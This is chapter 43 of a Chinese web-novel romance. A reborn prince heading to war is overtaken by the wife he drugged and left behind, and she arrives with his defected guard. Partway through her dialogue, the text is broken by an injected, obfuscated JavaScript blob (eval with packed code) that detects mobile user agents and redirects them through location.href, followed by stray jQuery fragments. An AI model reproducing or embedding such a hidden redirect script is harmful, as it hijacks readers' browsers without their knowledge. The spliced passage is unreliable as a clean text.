灿卿 作品

43. 第 43 章

不用亲自去看,沈凌云闭着眼睛都能想象得到岁檀醒来后会有多么暴跳如雷。


赶路的放空间隙、睡不着的夜晚,他就在脑中一遍遍摩挲她可能会有的反应,用思念对抗思念。


那么敢爱敢恨的人,被自己用如此美男计诱骗迷晕,清醒过来定然是会跳脚的吧。


舍不得背后骂自己,又咽不下这口气,醒来她大概只能一边躺在床上捋着事情经过一边磨着牙忿忿,在扛过迷药的药劲、勉强恢复些力气后,便跳下床挥舞着小拳头气急败坏地想要追上来。


然后,她便会迎面拦路虎,被母妃堂前那几个深藏不露的扫地僧拦住。


拦住她的人得了自己的拜托,势必会态度恭敬,但一定也油盐不进。


任她好赖话说尽都一步不会退,任凭撒泼打滚都忠实履行着托付,在他到达襄城前势必将她限制在护国寺厢房里保护周全,断不让歹人寻到可乘之机。


她使出浑身解数都找不到离开的法子,最后只能气鼓鼓地在屋子里踱来踱去,这个时候可能就没有那么好的脾气了,会无声骂自己两句、对着襄城方向咬牙切齿嘟嘟囔囔几声吧。


沈凌云无意识地扯扯嘴角,每每思及此,都控制不住地露出一个说不出的笑容:


以她的性子,被自己如此“算计”,应该会气很久。重逢那一天,自己定要厚着脸皮好好哄她一番。


……如果还有那一天的话。


良驹的缰绳紧紧握在手中,一股莫名悸动在心中划过。沈凌云低头,粗糙的绳子在掌心咯出纹路,那是上京出来几天几夜昼夜不停赶路所带来的疲惫。


周遭同样疾行的马蹄共同丈量着大梁的千山万水,没有抱怨、没有逃避,忠心耿耿的武将们紧随在后,就这么跟着他,一起去往遥远的战场,从南向北只为守护魂牵梦绕的故土。


有时候沈凌云也会怀疑,唯有他一人保留前世的记忆究竟是幸还是不幸。


旁人没有重来的痛苦,自然不知道此去将会面临怎样的支离破碎。他无法去描述前方襄城等待他们的会是什么,刚刚重生的很长一段时间,他根本睡不着,只要闭上眼睛就是地狱的惨叫和血腥。


将士们都是战场上摸爬滚打过几番的,也当然地见识过很多颠沛流离,即使再不轻敌也做不到沈凌云那样的心事重重,星夜兼程的空挡甚至还能抽空插诨打科几句,仿佛这是一次再简单不过的换防。


可这些,根本不能讲述给此时此刻的未曾亲历者们听的。


他能做的,唯有担起天道大男主的职责,回防的速度再快点、计谋再好点、让生灵涂炭再少一点。


以及,在那些家国大义的重压下,用自己残存的最后那么一点私心,竭尽所能地为心爱的姑娘求一个乱世平安。


母妃堂前那些人,“他们”会保护她安全的。


即使短期内会被限制自由,即使会怨,会闹,只要她能平平安安活到最后,就是值得的。


沈凌云壮士扼腕地筹谋一切,料想的是此生不复相见。


然而在进入襄城地界前的平川驿站前,当他对着下属因为颠簸而直不起来的腰终于松口稍作休整、明日继续赶路,众目睽睽下第一个推开驿站门后,第一眼看到的居然是鼓着腮帮子气鼓鼓瞪着他的岁檀。


正在同属下吩咐的交代戛然而止,他猛地顿住脚步,第一反应是这些天确实太车马劳顿了,不然怎么会白日里就出现这么大的幻觉,如此清晰地勾勒出朝思暮想的人。


那灵动的眉眼和忿忿的小模样,栩栩如生,饮鸩止渴般缓解了他积存已久的思念成疾。


沈凌云眯起眼睛,不禁想要上前,就见那个“幻觉”突然自己动了,宛如一枚炮弹一样冲过来,二话不说对着他的胸口就是重重一拳。


——是来自现实的一击,伴随着一声气势汹汹的“混蛋!”


拳头打在身上的最后一刻,就算收了力也是有痛感的。沈凌云如梦初醒,这才意识到这不是思念过度的海市蜃楼,而是真的岁檀,满腔登时说不出的五味杂陈。


那一瞬间他有很多想问的,例如护国寺那些桀骜不驯、连他的话都不肯听的高手是怎么肯放她出来的,上京和平川这么远她是怎么追上来的,这一路流民众多她有没有遇到什么危险。


然而千言万语涌上心头,化到唇边,是本能首先战胜一切。


他一句话都没来得及说就用力将人捞进怀里紧紧抱住,力道重得像是想要把人摁进自己身体里,再也不分离。


“岁檀……”


滚烫的呼吸吐在耳边,沈凌云死死抱住人,任无尽思念泛滥,视若珍宝地只剩下重复唤着她名字的希冀。


“岁檀。”


“岁檀。”


而被禁锢到他怀里的岁檀,原本还在嘀嘀咕咕地挣扎着,在沈凌云难得的情感外露中慢慢停下动作,虽然还是满脸不忿,但脑袋埋进他怀里,缓缓伸出手回抱住他。


是一个久别重逢的拥抱。


二人身后,赵平愿一脸不忍直视,三殿下的随行则面面相觑,面对此情此景谁也不知道该如何是好。所有人中,一个声音响起,打破了这个尴尬的画面。


皇子暗卫易舟嬉皮笑脸地从人群中冒出脑袋:“殿下,此处人多口杂,还是上去楼上厢房再说吧。”


*


“我们先来解决一件重要的事。”


甫一迈入厢房,刚刚关上门,岁檀立刻回身,紧紧顶在紧随其后的沈凌云身前,用身体逼着他倒退到靠在门板上,龇牙咧嘴地故作凶狠道:


“为了迷晕我,你居然往唇上抹迷药!”


沈凌云身子一滞,似乎没料到原以为奈何桥边才会听到的控诉居然提前到活着时就听到了,颇有些不知所措,手下意识伸出来就想要揽她入怀,声音更是讷讷:


“岁檀……”


岁檀像是早有所料,一个侧身躲开,上半身前倾抵住他的胸膛,慢慢踮起脚尖,让自己闪烁的杏眸一点点靠近,在咫尺距离里面对面。


“是我的错,对不起。”


沈凌云低下头,避开她炯炯的目光,惭愧道。


无论出于何种目的,他设计将岁檀留在后方安全地方总是不对的,即便再有一次他依旧会如此选择,但不代表他做这些时是于心无愧的。


“我不要你的道歉,”岁檀摇摇头,慢慢道,“我要你的承诺。”


“……”


沈凌云张张嘴,一瞬间竟不知如何开口才好。


私心里再如何想和岁檀生死与共,理智也在咆哮着告诉他不可以,两厢执念拉扯得他灵魂都在颤栗,抉择无门下却只能沉默以对。


他说不出口。


“我要你承诺——”


沈凌云不说话,岁檀便自顾自说起来,尽力凑到他的耳边,呵气


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15196170|156382||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


如兰:


“不许再往唇上抹迷药!不然我以后还怎么敢亲你!”


料想的控诉和斥责全部没有发生,沈凌云一愣,似乎不敢相信自己听到的:“岁檀……”


“让你放弃那些心思是不可能的,但没关系,我有手有脚,你丢下我,我就追着你跑。”


“至于你,现在要给我补偿——”


说着,她欺身上前,蜻蜓点水般在他唇上印上一吻。


“——我要亲回来。”


冰雪在眉眼间消融,沈凌云霍然绽出一个春暖花开的笑容。


他望着眼前狡黠地眨着眼的夫人,突然环住她的腰,调转身位,反客为主地将她压在门板上,紧紧扣着面前的细腰用力吻住她的唇。


一切隔阂都在这个亲吻中烟消云散,沈凌云专注吻着,只觉得自己何德何能。


没有逼迫没有谎言,岁檀看出他的窘迫,并且给了他们之间一个最好的台阶下。


他何德何能啊。


心中有念想,这个吻结束,岁檀双腿发软,便顺势靠进他怀里。


沈凌云打横将人抱起,坐到桌边,眼看两人重又恢复到上京城亲密无间的耳鬓厮磨状态中,他自然也有机会问出自己的百思不得其解来。


“上京至此山高路远,你一个人是怎么来的。”


岁檀兴趣缺缺地趴在他怀里:“自是有人带我来的。”


沈凌云顿了顿,面上不动声色,语气却莫名有些吃味:“是谁?”


岁檀懒懒抬眸,瞥了他一眼,似乎想到什么很想笑,但强行板着脸憋住了。


她撑起身子故作正襟危坐,然后抬手,打了个响指。


一个人倏地出现在厢房里,突兀地吓了沈凌云一大跳。


但随即定睛,却发现居然是熟人。


“易舟……?”


沈凌云猛然想起,方才在楼下,自己好像也看到他了。


只是当时自己一门心思都在岁檀身上,没留意那么多。


自从他身份暴露,易舟便被召回暗卫营了。哪怕这次因辽族来袭自己要再次亲临襄城,父皇都未松口让皇子暗卫跟来。


可谁曾想自己前脚刚走,后脚暗卫不但出了营,还伙同自己夫人一起,共同到达了平川驿站。


“所以,是你拜托易舟带你来的。”


沈凌云喃喃猜测,如此一想倒也算合情合理。


虽然不知道易舟为什么会出现在护国寺,且他平日里也不怎么着调,但好歹是正了八经的皇子暗卫出身,和堂前那些人本就同源,倘若岁檀请求,倒也有带她闯出护国寺的本事。


但岁檀听此却神秘莫测地摇摇头,狡黠地眨眨眼睛。


“不,是他带我来,但可不需要我拜托。”


说着,她随手一指,那跟个小媳妇般唯唯诺诺站在旁边听训的易舟登时上前一步,“扑通”一声跪了下来。


此举实在过于轻浮,沈凌云蹙眉刚想要斥上两句,就见皇子暗卫一个调转,从直面自己转成面向岁檀,然后恭恭敬敬地一磕首,声音诚恳:“主子。”


接着,才面向沈凌云:“姑爷。”


“……”


沈凌云摸摸额头,第一次觉得自己可能真的需要听听下属的谏言好好休息了,这睡眠不够什么幻觉都可能出现。


不然自己那么大一个皇子暗卫,怎么突然就易主了。